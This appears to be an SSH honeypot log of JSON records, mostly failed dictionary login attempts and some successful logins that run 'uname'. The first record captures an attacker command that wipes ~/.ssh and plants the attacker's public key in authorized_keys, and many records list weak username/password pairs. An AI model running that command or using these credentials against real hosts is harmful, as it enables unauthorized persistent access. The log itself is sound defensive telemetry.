Credential acceptance event recorded. Target authentication: root / zaq1xsw2cde3
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "3886a852c0c4",
"src_ip": "172.202.9.120",
"start_time": "2026-07-23T20:23:51.050573Z",
"end_time": "2026-07-23T20:23:53.758874Z",
"duration": "2.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "zaq1xsw2cde3"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: testuser
{
"id": "cd5ac951e826",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:50.898284Z",
"end_time": "2026-07-23T20:23:52.976391Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "testuser",
"pass": "test"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: guest / abc123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "315df1153355",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:47.140099Z",
"end_time": "2026-07-23T20:23:48.551244Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "guest",
"pass": "abc123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dockeruser
{
"id": "756e6772ec76",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:23:45.892945Z",
"end_time": "2026-07-23T20:23:49.577262Z",
"duration": "3.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "dockeruser",
"pass": "webuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: runner
{
"id": "5f5790ccc970",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:43.403332Z",
"end_time": "2026-07-23T20:23:45.459613Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "runner",
"pass": "root"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin2
{
"id": "02b8a77361df",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:39.627713Z",
"end_time": "2026-07-23T20:23:41.514137Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "admin2",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hduser
{
"id": "80fc94e52e47",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:23:39.150385Z",
"end_time": "2026-07-23T20:23:42.977583Z",
"duration": "3.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hduser",
"pass": "Qwerty123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rocky
{
"id": "e57a713ae721",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:36.131346Z",
"end_time": "2026-07-23T20:23:38.012712Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "rocky",
"pass": "1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cp_extensions
{
"id": "b379d3653aec",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:23:32.188939Z",
"end_time": "2026-07-23T20:23:36.335128Z",
"duration": "4.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cp_extensions",
"pass": "testuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi
{
"id": "33084883b9d0",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:32.169915Z",
"end_time": "2026-07-23T20:23:33.942601Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pi",
"pass": "pi"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: runner
{
"id": "20bd5413a493",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:28.562146Z",
"end_time": "2026-07-23T20:23:30.342694Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "runner",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pes34
{
"id": "d08d099d2dce",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:23:25.281850Z",
"end_time": "2026-07-23T20:23:28.967888Z",
"duration": "3.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pes34",
"pass": "!Q@W3e4r"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: postgres / 1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "0e673b1bd601",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:24.697112Z",
"end_time": "2026-07-23T20:23:26.008604Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "postgres",
"pass": "1"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: ftpuser / ftpuser123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "1e2d122ff59a",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:21.193187Z",
"end_time": "2026-07-23T20:23:22.324951Z",
"duration": "1.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ftpuser",
"pass": "ftpuser123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: wanghan
{
"id": "0a0253f5766f",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:23:17.445748Z",
"end_time": "2026-07-23T20:23:20.908222Z",
"duration": "3.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "wanghan",
"pass": "media"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: system
{
"id": "e702a7b0b532",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:17.437605Z",
"end_time": "2026-07-23T20:23:19.586494Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "system",
"pass": "1qaz2wsx"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: devops
{
"id": "c0306decd0bb",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:13.943476Z",
"end_time": "2026-07-23T20:23:16.042615Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "devops",
"pass": "123456789"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sendmail
{
"id": "8a8708e6e186",
"src_ip": "124.251.110.186",
"start_time": "2026-07-23T20:23:13.800166Z",
"end_time": "2026-07-23T20:23:16.103230Z",
"duration": "2.3",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "sendmail",
"pass": "1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / root
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "e7873aaefd49",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:10.126232Z",
"end_time": "2026-07-23T20:23:11.260612Z",
"duration": "1.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "root"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: default
{
"id": "dba55012cbc4",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:23:09.893213Z",
"end_time": "2026-07-23T20:23:14.085168Z",
"duration": "4.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "default",
"pass": "grid"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / null
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "8f61af8e4b37",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:06.462078Z",
"end_time": "2026-07-23T20:23:07.781132Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "null"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "23d9eecbc17e",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:23:02.802180Z",
"end_time": "2026-07-23T20:23:03.935911Z",
"duration": "1.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "1"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s10marycynthia
{
"id": "2b1b027e7325",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:23:02.780456Z",
"end_time": "2026-07-23T20:23:07.655074Z",
"duration": "4.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s10marycynthia",
"pass": "deploy"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webmaster
{
"id": "bec6c62ca023",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:59.016241Z",
"end_time": "2026-07-23T20:23:01.026631Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "webmaster",
"pass": "webmaster"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: minecraft / 1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "91a9ff496fb1",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:55.287688Z",
"end_time": "2026-07-23T20:22:56.627549Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "minecraft",
"pass": "1"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: binusr
{
"id": "9226690496e6",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:22:55.122664Z",
"end_time": "2026-07-23T20:23:03.646893Z",
"duration": "8.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "binusr",
"pass": "dolphinscheduler123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlab-runner
{
"id": "8f19c92aed17",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:51.437945Z",
"end_time": "2026-07-23T20:22:53.606233Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gitlab-runner",
"pass": "passwd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a1suzan
{
"id": "a6b597d6b391",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:22:49.424698Z",
"end_time": "2026-07-23T20:22:57.288980Z",
"duration": "7.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "a1suzan",
"pass": "dolphinscheduler"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: student
{
"id": "77de93c9f2cc",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:47.465945Z",
"end_time": "2026-07-23T20:22:49.582466Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "student",
"pass": "student123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fastuser
{
"id": "f8a1e0799764",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:43.712362Z",
"end_time": "2026-07-23T20:22:45.676426Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "fastuser",
"pass": "fastuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: veeranarayana
{
"id": "c336bd2f0118",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:22:42.265063Z",
"end_time": "2026-07-23T20:22:50.218329Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "veeranarayana",
"pass": "ivan"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / admin1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "8b352d8186f2",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:39.538157Z",
"end_time": "2026-07-23T20:22:41.064590Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "admin1234"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gke-a02662ac27ad32de2130
{
"id": "7b9120242648",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:22:35.998759Z",
"end_time": "2026-07-23T20:22:42.275053Z",
"duration": "6.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gke-a02662ac27ad32de2130",
"pass": "ubnt"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer
{
"id": "775d2a6703c2",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:35.622010Z",
"end_time": "2026-07-23T20:22:37.738839Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "deployer",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi
{
"id": "dc39430b36b8",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:31.694074Z",
"end_time": "2026-07-23T20:22:33.757170Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pi",
"pass": "p@ssw0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: xufeng
{
"id": "b3c0f7c75fd6",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:22:28.522201Z",
"end_time": "2026-07-23T20:22:33.390482Z",
"duration": "4.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "xufeng",
"pass": "elastic"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlab
{
"id": "773516f5cf83",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:22:27.443452Z",
"end_time": "2026-07-23T20:22:29.387896Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gitlab",
"pass": "root"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s10franch
{
"id": "786025fd3dd2",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:22:21.532852Z",
"end_time": "2026-07-23T20:22:24.734525Z",
"duration": "3.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s10franch",
"pass": "frappe@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: shraddharao
{
"id": "350956e6150c",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:22:14.511101Z",
"end_time": "2026-07-23T20:22:18.108131Z",
"duration": "3.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "shraddharao",
"pass": "Huawei@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 5937
{
"id": "3a9956885526",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:22:05.631851Z",
"end_time": "2026-07-23T20:22:11.987516Z",
"duration": "6.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "5937",
"pass": "customer"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: wacos
{
"id": "b0c51f7ddc7d",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:21:58.150734Z",
"end_time": "2026-07-23T20:22:05.290460Z",
"duration": "7.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "wacos",
"pass": "admin123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: root
{
"id": "6c1d91521c45",
"src_ip": "139.19.117.129",
"start_time": "2026-07-23T20:21:55.217157Z",
"end_time": "2026-07-23T20:22:05.216527Z",
"duration": "10.0",
"version": "SSH-2.0-Go",
"hassh": "f1e5e9d24e5e345e8745613bde22d532",
"attempts": [
{
"user": "root",
"pass": null
},
{
"user": "root",
"pass": null
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "4cac5c214250",
"src_ip": "45.153.34.167",
"start_time": "2026-07-23T20:21:51.576344Z",
"end_time": "2026-07-23T20:21:59.575572Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "084386fa7ae5039bcf6f07298a05a227",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hermes
{
"id": "d5a730d68549",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:21:51.266122Z",
"end_time": "2026-07-23T20:21:59.648065Z",
"duration": "8.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hermes",
"pass": "elastic"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: emregover
{
"id": "14cd31b93a0b",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:21:44.995090Z",
"end_time": "2026-07-23T20:21:52.880709Z",
"duration": "7.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "emregover",
"pass": "Huawei@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: manish
{
"id": "42535bb13e08",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:21:39.114862Z",
"end_time": "2026-07-23T20:21:45.835746Z",
"duration": "6.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "manish",
"pass": "123321"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "a5fd0f2478f8",
"src_ip": "124.251.110.186",
"start_time": "2026-07-23T20:21:35.068062Z",
